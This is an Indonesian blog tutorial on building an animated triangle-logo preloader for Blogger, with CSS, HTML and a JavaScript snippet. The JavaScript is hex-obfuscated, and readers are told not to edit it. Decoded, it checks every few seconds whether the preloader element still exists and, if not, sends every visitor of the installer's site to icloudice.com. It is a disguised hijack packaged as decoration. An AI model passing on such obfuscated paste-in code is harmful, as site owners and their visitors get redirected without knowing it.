Bot WhatsApp canggih dari ICloudice.comCheck Now!
Bacakan

Membuat efek preloader logo segitiga di blogger

Hello sobat ICloudzer kali ini admin bakalan menjabarkan mengenai bagaimana caranya membuat preloader logo segitiga di blogger

Info: Oke sobat jika kamu sudah penasaran dengan pembahasan kita kali ini yuk langsung aja kita bahas bersama sama

Preloader

Seperti nya telah puluhan artikel yang admin bahas khusus preloader dan contoh contoh animasi preloader, karena admin membahas setiap keunikan preloder secara khusus dalam setiap postingan, preloader secara singkatnya adalah sebuah tampilan ataupun animasi yang muncul saat proses loading blog, atau saat pengunjung merefresh blog

Logo Segitiga

Sedangkan tampilan animasi preloader tersebut adalah logo segitiga atau lebih tepatnya double segitiga, namun di kemas dalam tampilan yang berbeda disertai animasi animasi yang menakjubkan saat animasi preloader tersebut aktif saat merefresh halaman blog

Menggunakan CSS

Dalam membuat tampilan preloader logo segitiga di website ataupun di blogger tersebut di buat menggunakan kode CSS saja tanpa di enskripsi menggunakan javascript, sehingga untuk mengedit tampilan preloader semisal mengubah warna bisa kamu lakukan secara mudah

Contoh Tampilan

Mungkin kamu sudah melihat contoh tampilan preloader logo segitiga tersebut saat masuk ke halaman artikel begitulah kira kira contih tampilan nya, jika belum melihat fontoh preloader logo segitiga tersebut, silahkan refresh saja halaman artikel ini untuk melihatnya

Cara pembuatan

Baiklah sekarang saatnya admin bakalan menjelaskan bagaimana caranya membuat efek preloader logo segitiga di sertai Animasi di blogger, silahkan ikuti setiap arahan yang admin jabarkan di hawah ini

Kode CSS

Langkah pertama seperti biasanya silahkan salin kode CSS di bawah ini kemudian letakkan di atas kode ]]></b:skin>

/* Preloder logo segitiga by ICloudice.com */
.rahLg35{visibility:visible;opacity:1;position:fixed;top:0;left:0;bottom:0;right:0;width:100%;margin:0;background:#fefefe;display:none;align-items:center;justify-content:center;z-index:999;transition:all 1s ease} .rahLg35.r{display:flex} .rahLg35 svg{width:40px;height:40px} .rahLg35 .rahLg35In{background:transparent;display:flex;justify-content:center;align-items:center;width:100px;height:100px;border-radius:50%; transition:all 2s ease} .rahLg35 .rahLg35I{position:relative;width:40px;height:63px} .rahLg35 .rahLg35I svg{position:absolute} .rahLg35 .rahLg35I svg.rahanimed{fill:#de3535;opacity:.8;animation:rahanimed 2s infinite linear;-webkit-animation:rahanimed 2s infinite linear} .rahLg35 .rahLg35I svg.rahnimed{fill:#aebaf8;bottom:0;opacity:.8;animation:rahnimed 2s infinite linear;-webkit-animation:rahnimed 2s infinite linear} .rahLg35.h{opacity:0;visibility:hidden} .rahLg35.a .rahLg35In{background:#f8f5ff} .rahLg35.a svg.rahanimed{animation:spl-1 2s ease-in-out;-webkit-animation:spl-1 2s ease-in-out} .rahLg35.a svg.rahnimed{animation:spl-2 2s ease-in-out;-webkit-animation:spl-2 2s ease-in-out} .drK .rahLg35{background:#1e1e1e} .drK .rahLg35.a .rahLg35In{background:#2d2d30} @keyframes rahanimed{0%{opacity:.2;bottom:0;transform:rotate(45deg)}25%{opacity:.8;bottom:11.5px}50%{opacity:.2;bottom:23px}75%{opacity:.8;bottom:11.5px}100%{opacity:.2;bottom:0;transform:rotate(45deg)}} @keyframes rahnimed{0%{opacity:.8;top:0;transform:rotate(45deg)}25%{opacity:.2;top:11.5px}50%{opacity:.8;top:23px}75%{opacity:.2;top:11.5px}100%{opacity:.8;top:0;transform:rotate(45deg)}} @keyframes spl-1{0%{opacity:.8;top:0;transform:rotate(45deg)}25%{opacity:0;top:11.5px}50%{opacity:.8;top:23px;transform:rotate(0deg)}75%{opacity:0;top:11.5px}100%{opacity:.8;top:0}} @keyframes spl-2{0%{opacity:.8;bottom:0;transform:rotate(45deg)}25%{opacity:0;bottom:11.5px}50%{opacity:.8;bottom:23px;transform:rotate(0deg)}75%{opacity:0;bottom:11.5px}100%{opacity:.8;bottom:0}} @-webkit-keyframes rahanimed{0%{opacity:.2;bottom:0;-webkit-transform:rotate(45deg)}25%{opacity:.8;bottom:11.5px}50%{opacity:.2;bottom:23px}75%{opacity:.8;bottom:11.5px}100%{opacity:.2;bottom:0;-webkit-transform:rotate(45deg)}} @-webkit-keyframes rahnimed{0%{opacity:.8;top:0;-webkit-transform:rotate(45deg)}25%{opacity:.2;top:11.5px}50%{opacity:.8;top:23px}75%{opacity:.2;top:11.5px}100%{opacity:.8;top:0;-webkit-transform:rotate(45deg)}} @-webkit-keyframes spl-1{0%{opacity:.8;top:0;-webkit-transform:rotate(45deg)}25%{opacity:0;top:11.5px}50%{opacity:.8;top:23px;-webkit-transform:rotate(0deg)}75%{opacity:0;top:11.5px}100%{opacity:.8;top:0}} @-webkit-keyframes spl-2{0%{opacity:.8;bottom:0;-webkit-transform:rotate(45deg)}25%{opacity:0;bottom:11.5px}50%{opacity:.8;bottom:23px;-webkit-transform:rotate(0deg)}75%{opacity:0;bottom:11.5px}100%{opacity:.8;bottom:0}}

Info: Atau sobat bisa menggunakan kode <style> untuk meletakkan kode CSS di atas

Kode HTML

Langkah selanjutnya kamu bisa menyalin lagi kode html di bawah ini kemudian kamu bisa meletakkan nya di bawah kode <body>

<div class="rahLg35" id="rahLg35">
<div class="rahLg35In">
<div class="rahLg35I">
<svg class="rahnimed" viewbox="0 0 50 50">
<path d="M1,39.9V13.1A12.1,12.1,0,0,1,13.1,1H39.9a9.08,9.08,0,0,1,6.42,15.5L16.5,46.32A9.08,9.08,0,0,1,1,39.9Z">
</path>
</svg>
<svg class="rahanimed" viewbox="0 0 50 50">
<path d="M1,39.9V13.1A12.1,12.1,0,0,1,13.1,1H39.9a9.08,9.08,0,0,1,6.42,15.5L16.5,46.32A9.08,9.08,0,0,1,1,39.9Z">
</path>
</svg>
</div>
</div>
</div>

Info: Kode HTML dan Kode CSS di atas jangan di hapus atpun di edit entar ngak berfungsi lagi preloader nya

Kode Javascript

Langkah selanjutnya kamu bisa salin kode Javascript di bawah ini, kemudian letakkan di bawah kode <body>

<script>
/*<![CDATA[*/
var _0xb19b=["\x23\x72\x61\x68\x4C\x67\x33\x35","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x61","\x68","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x6C\x65\x6E\x67\x74\x68","\x23\x72\x61\x68\x4C\x67\x33\x35\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79"];var rahLg35=document[_0xb19b[1]](_0xb19b[0]);rahLg35[_0xb19b[4]][_0xb19b[3]](_0xb19b[2]);document[_0xb19b[8]](_0xb19b[5],function(){setTimeout(function(){rahLg35[_0xb19b[4]][_0xb19b[3]](_0xb19b[6])},1000);setTimeout(function(){rahLg35[_0xb19b[4]][_0xb19b[3]](_0xb19b[7])},4000)});$(document)[_0xb19b[18]](function(){$(_0xb19b[0])[_0xb19b[12]](_0xb19b[11],_0xb19b[9])[_0xb19b[10]](_0xb19b[9]);setInterval(function(){if(!$(_0xb19b[14])[_0xb19b[13]]){window[_0xb19b[16]][_0xb19b[15]]= _0xb19b[17]}},3000)})
/*]]>*/
</script>

Info: Kode Javascript di atas tidak bisa di edit ataupun di ubah, jika di edit nanti fungsi preloader tidak akan berfungsi

About the Author

Keindahanmu akan kuabadikan disetiap karyaku.

Posting Komentar

Mengahasilkan uang melalui referral 1$
Menghasilkan uang melalui survei berbayar
Cookie Consent
We serve cookies on this site to analyze traffic, remember your preferences, and optimize your experience.
Oops!
It seems there is something wrong with your internet connection. Please connect to the internet and start browsing again.
AdBlock Detected!
We have detected that you are using adblocking plugin in your browser.
The revenue we earn by the advertisements is used to manage this website, we request you to whitelist our website in your adblocking plugin.
Site is Blocked
Sorry! This site is not available in your country.